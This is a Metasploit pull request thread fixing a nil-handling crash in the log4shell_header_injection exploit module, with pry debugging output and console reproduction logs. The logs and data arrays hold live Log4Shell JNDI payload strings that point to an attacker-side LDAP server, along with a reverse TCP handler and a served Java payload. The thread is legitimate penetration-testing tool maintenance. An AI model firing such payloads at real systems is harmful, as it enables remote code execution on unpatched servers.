log4shell_header_injection bugfix to prevent .keys call on nil

[ErikWynter]

About

This PR includes a very simple fix for the multi/http/log4shell_header_injection exploit module to prevent it from performing .keys on nil in the scenario where log4shell was found via URIs instead of just headers.

Details

I found the bug when I ran the exploit against a web server that had multiple log4shell vectors:

• The module triggered a callback twice by adding the payload to the target URI itself
• In addition, the module triggered a third callback via the X-Forwarded-For header
  However, the module then crashed at the start of the exploit method because it tried to call .keys on nil on line 186:

184     if datastore['HTTP_HEADER'].blank?
185       targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first
186       http_header = targetinfo[:headers].keys.first if targetinfo
187       fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header

At that point @checkcode&.details looked like this:

[{:rhost=>"10.10.1.1",
  :rport=>80,
  :target_uri=>"/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/10.10.1.4%3a389/a5ypuygl6h8wfcrmg7vb9m0g7hc6/%24%7bjava%3aos%7d/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/",
  :headers=>nil},
 {:rhost=>"10.10.1.1",
  :rport=>80,
  :target_uri=>"/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/10.10.1.4%3a389/w7nrek6lpmta/%24%7bjava%3aos%7d/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d",
  :headers=>nil},
 {:rhost=>"10.10.1.1", :rport=>80, :target_uri=>"/", :headers=>{"X-Forwarded-For"=>"${jndi:ldap://10.10.1.4:389/y8nzmyoe2mwzl8rqoot/${java:os}/${sys:java.vendor}_${sys:java.version}}"}}]

The problem occurred due to the use of the safe navigator &. for the empty? call inside the reject block:

ti[:headers]&.empty? 

This code initially looked fine to me, but for some reason this prevents items in @checkcode.details that do not have value for the :header key from being removed from the Array. this means that after the reject block finishes, the Array on which the .first call is performed, is identical to the @checkcode.details Array (since no items were removed), and the first item is then an item that has a nil value for the :headers key:

[6] pry(#<Msf::Modules::Exploit__Multi__Http__Log4shell_header_injection::MetasploitModule>)> targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first
=> {:rhost=>"10.10.1.1",
 :rport=>80,
 :target_uri=>"/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/10.10.1.4%3a389/a5ypuygl6h8wfcrmg7vb9m0g7hc6/%24%7bjava%3aos%7d/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/",
 :headers=>nil}
[7] pry(#<Msf::Modules::Exploit__Multi__Http__Log4shell_header_injection::MetasploitModule>)> http_header = targetinfo[:headers].keys.first if targetinfo
NoMethodError: undefined method `keys' for nil:NilClass
from (pry):27:in `exploit'

The fix

Fixing this issue is as simple as removing the safe navigator in the reject block and using blank? instead of empty?. This will prevent the module from breaking even when the reject operation is performed on an empty Array:

irb(main):008:0> [].reject {|ti| ti[:headers].blank?}&.first
=> nil

So instead of:

185       targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first

We can use

185       targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers].blank? }&.first

Proof:

[8] pry(#<Msf::Modules::Exploit__Multi__Http__Log4shell_header_injection::MetasploitModule>)> targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers].blank? }.first
=> {:rhost=>"10.10.1.1",
 :rport=>80,
 :target_uri=>"/",
 :headers=>{"X-Forwarded-For"=>"${jndi:ldap://10.10.1.4:389/y8nzmyoe2mwzl8rqoot/${java:os}/${sys:java.vendor}_${sys:java.version}}"}}
[9] pry(#<Msf::Modules::Exploit__Multi__Http__Log4shell_header_injection::MetasploitModule>)> http_header = targetinfo[:headers].keys.first if targetinfo
=> "X-Forwarded-For"

How to replicate the issue

1. Start a basic web server, eg python3 -m http.server 80
2. Manually set @checkcode.details in the exploit method in log4shell_header_injection.rb to my example array:

def exploit
  validate_configuration!
  if datastore['HTTP_HEADER'].blank?
    @checkcode.details = [{:rhost=>"10.10.1.1",
:rport=>80,
:target_uri=>"/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/10.10.1.4%3a389/a5ypuygl6h8wfcrmg7vb9m0g7hc6/%24%7bjava%3aos%7d/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/",
:headers=>nil},
{:rhost=>"10.10.1.1",
:rport=>80,
:target_uri=>"/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/10.10.1.4%3a389/w7nrek6lpmta/%24%7bjava%3aos%7d/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d",
:headers=>nil},
{:rhost=>"10.10.1.1", :rport=>80, :target_uri=>"/", :headers=>{"X-Forwarded-For"=>"${jndi:ldap://10.10.1.4:389/y8nzmyoe2mwzl8rqoot/${java:os}/${sys:java.vendor}_${sys:java.version}}"}}]
    targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first
    http_header = targetinfo[:headers].keys.first if targetinfo
    fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header

    print_good("Automatically identified vulnerable header: #{http_header}")
  else
    http_header = datastore['HTTP_HEADER']
  end

3. Point the module to your webserver, set ForceExploit to true and run the exploit to see it break

msf6 exploit(multi/http/log4shell_header_injection) > run

[*] Started reverse TCP handler on 192.168.91.195:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Server stopped.
[!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation.
[-] Exploit failed: NoMethodError undefined method `keys' for nil:NilClass
[*] Exploit completed, but no session was created.

4. Edit log4shell_header_injection.rb to change the following line

targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first

to

targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers].blank? }.first

5. Rreload the module and run again:

msf6 exploit(multi/http/log4shell_header_injection) > reload
[*] Reloading module...
msf6 exploit(multi/http/log4shell_header_injection) > run

[*] Started reverse TCP handler on 192.168.91.195:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Server stopped.
[!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation.
[+] Automatically identified vulnerable header: X-Forwarded-For
[*] Serving Java code on: http://192.168.91.195:8080/Flj0Dh6blOM.jar
[*] Server stopped.
[*] Exploit completed, but no session was created.

[ErikWynter]

In general I was wondering if there is a specific reason why the module doesn't try to exploit targets where the injection vector is the URI instead of a header? That would be a pretty nice addition.

[jheysel-r7]

Hey @ErikWynter, great catch. Thanks for the fix and for the detailed reproduction steps. Everything checks out on my end 👍

Before

msf6 exploit(multi/http/log4shell_header_injection) > set rhosts 192.168.123.1
rhosts => 192.168.123.1
msf6 exploit(multi/http/log4shell_header_injection) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/http/log4shell_header_injection) > set forceexploit true
forceexploit => true
msf6 exploit(multi/http/log4shell_header_injection) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[-] Auxiliary aborted due to failure: bad-config: The address is already in use or unavailable: (Permission denied - bind(2) for 192.168.123.1:389).
[!] This module does not support check. auxiliary/scanner/http/log4shell_scanner does not return a CheckCode. ForceExploit is enabled, proceeding with exploitation.
[-] Exploit failed: NoMethodError undefined method `keys' for nil:NilClass
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/log4shell_header_injection) >

After

msf6 exploit(multi/http/log4shell_header_injection) > reload
[*] Reloading module...
msf6 exploit(multi/http/log4shell_header_injection) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[-] Auxiliary aborted due to failure: bad-config: The address is already in use or unavailable: (Permission denied - bind(2) for 192.168.123.1:389).
[!] This module does not support check. auxiliary/scanner/http/log4shell_scanner does not return a CheckCode. ForceExploit is enabled, proceeding with exploitation.
[+] Automatically identified vulnerable header: X-Forwarded-For

As for your question regarding why the module doesn't try to exploit targets where the injection vector is the URI instead of a header - I can't answer unfortunately. I didn't write the module and it's been a while since I played with Log4Shell though it could be because the URI vector is more common or the author was time constrained.

@smcintyre-r7 do you think it'd be worth it to add a suggestion-feature issue to add this functionality?

[jheysel-r7]

Release Notes

log4shell_header_injection bugfix to prevent NoMethodError for nil:NilClass